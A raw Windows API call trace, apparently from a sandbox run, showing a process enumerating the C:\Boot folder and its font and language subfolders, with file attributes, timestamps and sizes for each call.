	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0050.174] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.174] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.174] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x126f87d8 | out: lpFileInformation=0x126f87d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1
	[0050.175] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x126f8828 | out: lpFileInformation=0x126f8828*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1
	[0050.175] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0x126f8878 | out: lpFileInformation=0x126f8878*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.175] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0x126f88c8 | out: lpFileInformation=0x126f88c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.175] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x126f8918 | out: lpFileInformation=0x126f8918*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0050.176] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x126f8968 | out: lpFileInformation=0x126f8968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.177] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.177] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.177] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.177] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0050.177] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0050.177] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0050.177] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0050.177] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0050.177] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.177] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.178] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x126f8b48 | out: lpFileInformation=0x126f8b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1
	[0050.178] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x126f8b98 | out: lpFileInformation=0x126f8b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1
	[0050.178] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x126f8be8 | out: lpFileInformation=0x126f8be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1
	[0050.179] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x126f8c38 | out: lpFileInformation=0x126f8c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1
	[0050.179] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x126f8c88 | out: lpFileInformation=0x126f8c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1
	[0050.179] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x126f8cd8 | out: lpFileInformation=0x126f8cd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.179] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.179] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.179] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.179] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.179] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.179] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.180] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f8d78 | out: lpFileInformation=0x126f8d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1
	[0050.180] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x126f8dc8 | out: lpFileInformation=0x126f8dc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.180] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.180] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.180] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.180] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.180] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.180] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.180] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f8e68 | out: lpFileInformation=0x126f8e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1
	[0050.181] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x126f8eb8 | out: lpFileInformation=0x126f8eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.181] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.182] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.182] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.182] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.182] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.182] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.182] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f8f58 | out: lpFileInformation=0x126f8f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1
	[0050.182] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x126f8fa8 | out: lpFileInformation=0x126f8fa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.182] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.182] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.183] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.183] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
